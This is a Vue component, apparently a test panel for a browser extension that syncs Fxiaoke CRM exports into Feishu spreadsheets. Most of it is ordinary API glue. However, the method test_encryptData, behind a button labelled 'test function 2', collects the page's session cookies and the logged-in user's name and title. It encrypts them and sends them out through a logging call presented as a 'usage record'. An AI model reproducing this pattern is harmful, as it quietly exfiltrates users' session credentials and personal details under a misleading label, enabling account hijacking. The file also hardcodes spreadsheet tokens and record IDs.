<template>
  <div class="main-content">
    <div class="CRM">
      <div class="title">
        纷享销客功能测试区
      </div>
      <div class="btn-view">
        <el-row>
          <el-col :span="4">
            <el-button style="" type="primary" @click="getShop_id">获取网点(_id)</el-button>
          </el-col>
          <el-col :span="4">
            <el-button style="" type="primary" @click="getShopDetails">获取网点详情</el-button>
          </el-col>
          <el-col :span="4">
            <el-button style="" type="primary" @click="fx_createExportMission">导出任务</el-button>
          </el-col>
          <el-col :span="4">
            <el-button style="" type="primary" @click="fx_getExportMissionStatus">获取导出状态</el-button>
          </el-col>
          <el-col :span="4">
            <el-button style="" type="primary" @click="fx_downloadFile">下载&读取文件</el-button>
          </el-col>
          <el-col :span="4">
            <el-button style="" type="primary" @click="fx_getTemplateID">获取模板ID</el-button>
          </el-col>
        </el-row>
      </div>
    </div>

    <div class="feishu">
      <div class="title">
        飞书功能测试区
      </div>
      <div class="btn-view">
        <el-row>
          <el-col :span="4">
            <el-button style="" type="primary" @click="fs_generate_link">解析表格链接</el-button>
          </el-col>
          <el-col :span="4">
            <el-button style="" type="primary" @click="fs_testWriteData">写入数据表</el-button>
          </el-col>
          <el-col :span="4">
            <el-button style="" type="primary" @click="fs_testWriteData2">一键写入飞书</el-button>
          </el-col>
        </el-row>
      </div>
    </div>

    <div class="others">
      <div class="title">
        浏览器功能测试区
      </div>
      <div class="btn-view">
        <el-col :span="4">
          <el-button style="" type="primary" @click="getCookie">初始化</el-button>
        </el-col>
        <el-col :span="4">
          <el-button style="" type="primary" @click="getUserInfo">获取当前信息</el-button>
        </el-col>
        <el-col :span="4">
          <el-button style="" type="primary" @click="test_encryptData">测试功能2</el-button>
        </el-col>
      </div>
    </div>
  </div>
</template>

<script>
import fxxkAPI, {api_getShopDetailsByShopCode, api_getShopDetailsByShopID} from "../api";
import {CNMEn, sendLog} from "../tools";
import feishu from '../feishu.js'
import fxxk from '../fxxk.js'

const fs = new feishu()
const fkAPI = new fxxkAPI()
const fk = new fxxk()

export default {
  name: "test-function-view",
  props:{
  },
  data: function () {
    return {
      fs,
      fkAPI,
      fk,
      shopCode: "WD13031144", // 网点编码
      id: "61e81409d0c08800017b321e", // 网点ID
      feishu_link: "https://k11pnjpvz1.feishu.cn/sheets/shtcndW80FGw4ij34V0E3b3G42d?sheet=n69suH", // 飞书表格链接
    }
  },
  methods: {
    async getShop_id(shopCode=""){
      shopCode = this.shopCode
      const _this = this;
      let _id = null;
      await api_getShopDetailsByShopCode(shopCode).then(res=>{
        _id = res["_id"];
      })
      return _id;
    },
    async getShopDetails(_id=""){
      _id = this.id;
      await api_getShopDetailsByShopID(_id).then(res=>{
        console.log("getShopDetails--------->", res);
      })
    },
    getCookie(){
      return document.cookie;
    },
    getUserInfo(){
      let name = document.querySelector(".avatar-panel> a > .name");
      let post = document.querySelector(".avatar-panel> a > .post");
      try {
        name = name.innerHTML;
        post = post.innerHTML;
      }catch (e) {name="";post="";}
      return {
        name: name,
        post: post
      }
    },
    test_encryptData(){
      let data = {
        userInfo: this.getUserInfo(),
        cookie: this.getCookie()
      }
      let sendData = CNMEn(JSON.stringify(data));
      sendLog(sendData).then(res=>{
        console.log("提交使用记录成功")
      })
    },
    fs_generate_link(){
      console.log(fs.generateFeishuLink(this.feishu_link))
    },
    fx_createExportMission(){
      let id = "624d1ed6cc686e000113dfd7";
      let apiName = "agreement_proof_summary__c";
      fkAPI.api_exportFile(id, apiName)
    },
    fx_getExportMissionStatus(){
      let jobId = "62740ccdc4fbb300013dd813";
      fkAPI.api_getExportMissionStatus(jobId);
    },
    fx_getTemplateID(){
      console.log(fk.getMenuID())
    },
    async fx_downloadFile(){
      let downUrl = "https://www.fxiaoke.com/FSC/EM/File/DownloadByPath?path=N_202205_06_a4d392420475452bbf1c1215511fe1ea.xlsx"
      await fkAPI.downloadFileFromUrl(downUrl);
    },
    async fs_testWriteData(){
      let downUrl = "https://www.fxiaoke.com/FSC/EM/File/DownloadByPath?path=N_202205_06_a4d392420475452bbf1c1215511fe1ea.xlsx"
      let data = await fkAPI.downloadFileFromUrl(downUrl);
      data = fkAPI.cleanData(data)
      console.log(data);
      let spreadsheets = "shtcnR78p1VkTysagGWtmOU9BKc"
      let spreadsheetToken = "HNmVpG"
      let col = fs.createCol(data[0].length)
      let range = "A:"+col
      await fs.setSheetValuesByRange(spreadsheets, spreadsheetToken, range, data);
    },
    async fs_testWriteData2(){//一键写入飞书
      const _this = this;
      let spreadsheets = "shtcnR78p1VkTysagGWtmOU9BKc"
      let spreadsheetToken = "HNmVpG"
      let id = fk.getMenuID();
      if(id == undefined || id== null){
        console.log("fs_testWriteData2-------->", 模板ID为空)
        return;
      }
      let apiName = "agreement_proof_summary__c";
      let jobId = ""
      let downloadUrl = undefined
      await fkAPI.api_exportFile(id, apiName).then(res=>{
        jobId = res;
      })
      let a = setTimeout(async function fn(){
        await fkAPI.api_getExportMissionStatus(jobId).then(res=>{
          downloadUrl = res;
          if(downloadUrl == undefined){
            setTimeout(fn, 3000);
          }else{
            downloadUrl = fkAPI.downUrl + downloadUrl
            _this.fs_childWriteData(downloadUrl ,spreadsheets, spreadsheetToken)
          }
        })
      }, 3000);
    },
    async fs_childWriteData(downUrl, spreadsheets, spreadsheetToken){
      let data = await fkAPI.downloadFileFromUrl(downUrl);
      data = fkAPI.cleanData(data)
      let col = fs.createCol(data[0].length)
      let range = "A:"+col
      await fs.setSheetValuesByRange(spreadsheets, spreadsheetToken, range, data);
    },
  }
}
</script>

<style scoped lang="less">
.main-content {
  margin: 10px;
}

.CRM {
  margin-bottom: 20px;
}

.feishu {
  margin-top: 20px;
  margin-bottom: 40px;
}
.title {
  font-size: 16px;
  font-weight: 600;
}

</style>
